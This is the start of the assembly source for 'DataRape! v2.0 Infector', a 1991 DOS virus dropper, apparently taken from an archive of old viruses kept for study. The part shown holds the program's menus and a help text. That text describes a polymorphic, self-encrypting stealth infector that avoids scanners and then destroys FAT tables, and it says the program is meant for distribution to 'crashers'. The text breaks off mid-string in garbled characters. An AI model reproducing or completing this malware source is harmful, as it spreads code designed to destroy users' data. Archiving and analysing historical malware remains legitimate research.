dr20-inf.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

; DataRape! v2.0 Infector
;
; I know you won't dist this, DD.  Sorry its a bit sloppy, but it works.
;
;                       - Zodiac (06/26/91)


print         macro
              call      prints
              endm

cls           macro
              call      clrscr
              endm

code          segment
              assume    cs:code, ds:code
              org       100h

start:        jmp       main_menu

include       loader.inc

main_menu_str db        "DataRape! v2.0 Infector",13,10
              db        "(c)1991 Zodiac of RABID",13,10
              db        13,10
              db        "A. Information/Help",13,10
              db        "B. Configure Virus",13,10
              db        "C. View Scrolling",13,10
              db        "D. Infect File",13,10
              db        "E. Exit to Dos",13,10
              db        13,10
              db        "Command: $"

help_scr      db        "                 DataRape! v2.0 Information/Help",13,10
              db        13,10
              db        "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10
              db        "EXE/COM infector.  It infects files upon execution, browsing,",13,10
              db        "copying, and renaming.  The encryption method changes randomly as",13,10
              db        "does the encryption header.  The virus should not be picked-up by",13,10
              db        "conventional string scanners(ie SCAN).  If so, it will be changed.",13,10
              db        "After a specified number of successful loads to memory, the virus",13,10
              db        "turns destructive and destroys all available FAT tables.  It then",13,10
              db        "proceeds to display a configurable scrolling message in",13,10
              db        "configurable colors.",13,10
              db        13,10
              db        "This infection program is self-explanatory, and is intended for",13,10
              db        "general distribution to RABID's selected crashers.  This virus has",13,10
              db        "taken many, many hours away from my life.  But, it was a pleasure",13,10
              db        "programming and a new version will be released(shortly?).",13,10
              db        13,10
              db        "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10
              db        13,10
              db        '"Fear the Government that Fears Your Computer!"',13,10
              db        13,10
              db        "                                        -- Zodiac of RABID, USA",13,10
              db        13,10
              db        "P.S. I wrote this infector in assembly, can't you tell?$",13,10

config_scr    db        "DataRape! v2.0 Configuration",13,10
              db        13,10
              db        "Loads before Destruction(20 recommended) : "
              db        "$"
config_2      db        13,10
              db        13,10
              db        "Note: Press spacebar a few times at beginning or end of message.",13,10
              db        13,10
              db        "Enter Scrolling Message: $"
config_3      db        'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10
              db        '                    谀哪哪哪哪哪哪哪哪